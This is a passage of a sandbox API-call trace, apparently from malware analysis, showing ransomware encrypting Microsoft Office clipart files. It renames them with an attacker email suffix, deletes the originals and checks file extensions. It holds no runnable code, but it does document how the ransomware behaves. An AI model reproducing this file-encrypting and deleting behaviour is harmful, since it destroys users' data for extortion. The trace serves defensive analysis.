files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0171.719] GetLastError () returned 0x0 [0171.719] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x31dc, lpOverlapped=0x0) returned 1 [0171.721] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x31e0, lpOverlapped=0x0) returned 1 [0171.722] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.722] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.722] SetEndOfFile (hFile=0x2f0) returned 1 [0171.725] CloseHandle (hObject=0x2f0) returned 1 [0171.726] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.726] SetEndOfFile (hFile=0x388) returned 1 [0171.729] CloseHandle (hObject=0x388) returned 1 [0171.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281630.wmf")) returned 1 [0171.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.732] lstrlenW (lpString=".doc") returned 4 [0171.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.732] lstrlenW (lpString=".docx") returned 5 [0171.732] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.732] lstrlenW (lpString=".pdf") returned 4 [0171.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.732] lstrlenW (lpString=".xls") returned 4 [0171.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.732] lstrlenW (lpString=".xlsx") returned 5 [0171.732] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.732] lstrlenW (lpString=".ppt") returned 4 [0171.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.732] lstrlenW (lpString=".zip") returned 4 [0171.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.732] lstrlenW (lpString=".rar") returned 4 [0171.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.732] lstrlenW (lpString=".bz2") returned 4 [0171.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.732] lstrlenW (lpString=".7z") returned 3 [0171.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.732] lstrlenW (lpString=".dbf") returned 4 [0171.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.733] lstrlenW (lpString=".1cd") returned 4 [0171.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.733] lstrlenW (lpString=".jpg") returned 4 [0171.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.733] lstrlenW (lpString=".doc") returned 4 [0171.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString=".docx") returned 5 [0171.733] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.733] lstrlenW (lpString=".pdf") returned 4 [0171.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString=".xls") returned 4 [0171.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.733] lstrlenW (lpString=".xlsx") returned 5 [0171.733] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.733] lstrlenW (lpString=".ppt") returned 4 [0171.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.733] lstrlenW (lpString=".zip") returned 4 [0171.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.733] lstrlenW (lpString=".rar") returned 4 [0171.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString=".bz2") returned 4 [0171.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString=".7z") returned 3 [0171.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.733] lstrlenW (lpString=".dbf") returned 4 [0171.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.733] lstrlenW (lpString=".1cd") returned 4 [0171.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281630.WMF") returned 68 [0171.733] lstrlenW (lpString=".jpg") returned 4 [0171.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.733] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.733] lstrlenW (lpString="J0282126.WMF") returned 12 [0171.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.738] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15518) returned 1 [0171.738] CloseHandle (hObject=0x2ec) returned 1 [0171.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf")) returned 0x220 [0171.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0171.743] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.743] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.751] GetLastError () returned 0x0 [0171.751] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3c9e, lpOverlapped=0x0) returned 1 [0171.753] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3ca0, lpOverlapped=0x0) returned 1 [0171.753] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.753] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.753] SetEndOfFile (hFile=0x388) returned 1 [0171.755] CloseHandle (hObject=0x388) returned 1 [0171.756] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.756] SetEndOfFile (hFile=0x2f0) returned 1 [0171.759] CloseHandle (hObject=0x2f0) returned 1 [0171.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf")) returned 1 [0171.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.761] lstrlenW (lpString=".doc") returned 4 [0171.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString=".docx") returned 5 [0171.762] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.762] lstrlenW (lpString=".pdf") returned 4 [0171.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString=".xls") returned 4 [0171.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.762] lstrlenW (lpString=".xlsx") returned 5 [0171.762] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.762] lstrlenW (lpString=".ppt") returned 4 [0171.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.762] lstrlenW (lpString=".zip") returned 4 [0171.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.762] lstrlenW (lpString=".rar") returned 4 [0171.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString=".bz2") returned 4 [0171.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString=".7z") returned 3 [0171.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.762] lstrlenW (lpString=".dbf") returned 4 [0171.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.762] lstrlenW (lpString=".1cd") returned 4 [0171.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.762] lstrlenW (lpString=".jpg") returned 4 [0171.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.762] lstrlenW (lpString=".doc") returned 4 [0171.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString=".docx") returned 5 [0171.762] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.762] lstrlenW (lpString=".pdf") returned 4 [0171.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString=".xls") returned 4 [0171.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.762] lstrlenW (lpString=".xlsx") returned 5 [0171.762] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.762] lstrlenW (lpString=".ppt") returned 4 [0171.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.762] lstrlenW (lpString=".zip") returned 4 [0171.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.762] lstrlenW (lpString=".rar") returned 4 [0171.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString=".bz2") returned 4 [0171.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.762] lstrlenW (lpString=".7z") returned 3 [0171.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.763] lstrlenW (lpString=".dbf") returned 4 [0171.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.763] lstrlenW (lpString=".1cd") returned 4 [0171.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF") returned 68 [0171.763] lstrlenW (lpString=".jpg") returned 4 [0171.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.763] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.763] lstrlenW (lpString="J0285484.WMF") returned 12 [0171.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0171.774] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=9280) returned 1 [0171.774] CloseHandle (hObject=0x38c) returned 1 [0171.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf")) returned 0x220 [0171.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0171.785] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.786] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.793] GetLastError () returned 0x0 [0171.793] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2440, lpOverlapped=0x0) returned 1 [0171.794] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2450, lpOverlapped=0x0) returned 1 [0171.795] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.795] WriteFile (in: hFile=0x388, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.795] SetEndOfFile (hFile=0x388) returned 1 [0171.800] CloseHandle (hObject=0x388) returned 1 [0171.802] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.802] SetEndOfFile (hFile=0x2f0) returned 1 [0171.805] CloseHandle (hObject=0x2f0) returned 1 [0171.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf")) returned 1 [0171.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.810] lstrlenW (lpString=".doc") returned 4 [0171.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.810] lstrlenW (lpString=".docx") returned 5 [0171.810] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.810] lstrlenW (lpString=".pdf") returned 4 [0171.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.810] lstrlenW (lpString=".xls") returned 4 [0171.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.810] lstrlenW (lpString=".xlsx") returned 5 [0171.810] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.810] lstrlenW (lpString=".ppt") returned 4 [0171.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.810] lstrlenW (lpString=".zip") returned 4 [0171.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.810] lstrlenW (lpString=".rar") returned 4 [0171.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.810] lstrlenW (lpString=".bz2") returned 4 [0171.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.810] lstrlenW (lpString=".7z") returned 3 [0171.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.810] lstrlenW (lpString=".dbf") returned 4 [0171.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.810] lstrlenW (lpString=".1cd") returned 4 [0171.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.811] lstrlenW (lpString=".jpg") returned 4 [0171.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.811] lstrlenW (lpString=".doc") returned 4 [0171.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.811] lstrlenW (lpString=".docx") returned 5 [0171.811] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.811] lstrlenW (lpString=".pdf") returned 4 [0171.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.811] lstrlenW (lpString=".xls") returned 4 [0171.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.811] lstrlenW (lpString=".xlsx") returned 5 [0171.811] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.811] lstrlenW (lpString=".ppt") returned 4 [0171.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.811] lstrlenW (lpString=".zip") returned 4 [0171.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.811] lstrlenW (lpString=".rar") returned 4 [0171.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.811] lstrlenW (lpString=".bz2") returned 4 [0171.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.811] lstrlenW (lpString=".7z") returned 3 [0171.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.811] lstrlenW (lpString=".dbf") returned 4 [0171.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.811] lstrlenW (lpString=".1cd") returned 4 [0171.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF") returned 68 [0171.811] lstrlenW (lpString=".jpg") returned 4 [0171.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.811] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.811] lstrlenW (lpString="J0285796.WMF") returned 12 [0171.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.815] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=13648) returned 1 [0171.815] CloseHandle (hObject=0x388) returned 1 [0171.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf")) returned 0x220 [0171.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.825] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.825] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.829] GetLastError () returned 0x0 [0171.829] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3550, lpOverlapped=0x0) 